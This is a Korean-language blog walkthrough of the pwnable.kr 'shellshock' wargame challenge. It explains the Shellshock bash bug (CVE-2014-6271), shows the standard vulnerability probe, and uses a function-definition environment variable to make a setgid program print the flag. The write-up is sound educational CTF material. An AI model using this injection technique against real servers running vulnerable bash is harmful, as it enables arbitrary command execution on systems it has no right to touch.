시작
안녕하세요!!
1 pt
짜리 문제이지만 배울 것이 엄청 많은
shellshock
문제를 풀어보겠습니다. 시작해보죠!!
root@goorm:/workspace/LCH_Server# ssh shellshock@pwnable.kr -p2222
Write UP
shellshock@ubuntu:~$ ls -l
total 960
-r-xr-xr-x 1 root shellshock 959120 Oct 12 2014 bash
-r--r----- 1 root shellshock_pwn 47 Oct 12 2014 flag
-r-xr-sr-x 1 root shellshock_pwn 8547 Oct 12 2014 shellshock
-r--r--r-- 1 root root 188 Oct 12 2014 shellshock.c
bash
파일이 보입니다. 저걸 사용해야 할 것 같네요.
문제를 풀기 앞서 shellshock
가 무엇인지 알아볼까요?
셸쇼크(영어: Shellshock) 또는 배시도어(Bashdoor) 는 광범위하게 사용되는 유닉스 배시에서 발생하는 보안 버그(en:Security bug)로, 2014년 9월 24일에 처음 밝혀졌다. 많은 인터넷 기반 서비스들이 배시를 이용하여 명령을 처리하기 때문에, 이들 서버에 있는, 버그에 취약한 배시를 이용하여 임의 코드 실행이 가능하다. (출처 : 위키백과)
bash
에서 환경변수를 등록할 때, 우리는 변수를 등록할 지, 함수를 등록할 지 선택할 수 있습니다.
Shellshock
는 함수처럼 보이는 변수를 정의할 때 발생하는 취약점입니다.
함수처럼 보이는 변수란 함수 문법인 () {
로 시작하는 변수를 뜻합니다!!
shellshock@ubuntu:~$ export x='() { echo test; }'
shellshock@ubuntu:~$ printenv x
() { echo test; }
shellshock@ubuntu:~$ x
x: command not found
x
라는 함수처럼 보이는 변수를 선언했습니다. printenv
로 확인해보면 문자열로 등록이 되어있죠?
문자열이기 때문에 실행이 안 되는 모습(command not found
)도 확인할 수 있습니다.
하지만 취약한 shell
을 사용하고 있다면 bash
명령어를 사용, 즉 subshell
을 열었을 때
환경변수를 읽어오는 과정에서 함수 문법으로 시작하는 변수를 보고 함수라고 판단하게 됩니다.
shellshock@ubuntu:~$ ./bash
shellshock@ubuntu:~$ x
test
이렇게 말이죠.
문제로 돌아가 보겠습니다.
shellshock
에 대해 검색했을 때 가장 많이 나오는 취약점 진단 코드는 다음과 같습니다.
shellshock@ubuntu:~$ env a='() { :; }; echo vulnerable' bash -c "echo this is"
this is
취약한 shell
이라면 this is
와 vulnerable
이 모두 출력되어야 하는데, 이 녀석은 안전한가 봅니다.
하지만, 아까 ls
를 통해 보셨죠?? bash
파일이 들어있는 것을 알 수 있습니다.
이 쉘을 이용해서 다시 한 번 진단해볼까요?
shellshock@ubuntu:~$ env a='() { :; }; echo vulnerable' ./bash -c "echo this is"
vulnerable
this is
많이 취약하군요. 얘를 이용해서 shellshock
를 터뜨리면 될 것 같습니다.
우선 shellshock.c
파일을 보겠습니다.
shellshock@ubuntu:~$ cat shellshock.c
#include <stdio.h>
int main(){
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());
system("/home/shellshock/bash -c 'echo shock_me'");
return 0;
}
system
함수를 통해 subshell
을 실행시켜 주고 있군요.
그렇다면 환경 변수에 함수처럼 보이는 flag
를 출력하는 변수를 넣어준다면
Exploit이 가능하겠네요!!
바로 적용해보도록 하겠습니다.
shellshock@ubuntu:~$ export MyExploit='() { :; }; /bin/cat ./flag'
shellshock@ubuntu:~$ printenv MyExploit
() { :; }; /bin/cat ./flag
shellshock@ubuntu:~$ ./shellshock
only if I knew CVE-2014-6271 ten years ago..!!
Segmentation fault
마무리
정리해보자면
- 환경 변수에는 변수와 함수를 넣을 수 있다.
- 함수 문법
() {
으로 시작하는 변수를 환경 변수에 선언한다. - 취약한
shell
은subshell
을 실행, 환경 변수를 불러올 때 함수 문법() {
으로 시작하는 변수를 함수로 인식한다. - 때문에 함수가 실행된다!!
이 정도네요. 실행이 되지 않는 문자열이던 변수가 subshell
이 실행될 때 읽어오는 과정에서
함수로 바뀌어 실행된다는 점이 신기합니다ㅎㅎ.. 똑똑한 사람들이 참 많네요 이런 걸 어떻게 생각하는지ㅠㅠ
shellshock
에 대해 확실하게 이해한 것 같습니다!! 다음에 뵙겠습니다 :D
'CTF_Write_UP > pwnable.kr' 카테고리의 다른 글
pwnable.kr : uaf 풀이 (0) | 2019.04.18 |
---|---|
pwnable.kr : lotto 풀이 (0) | 2019.04.17 |
pwnable.kr : mistake 풀이 (0) | 2019.04.16 |
pwnable.kr : passcode 풀이 (0) | 2019.04.14 |
pwnable.kr : random 풀이 (0) | 2019.04.13 |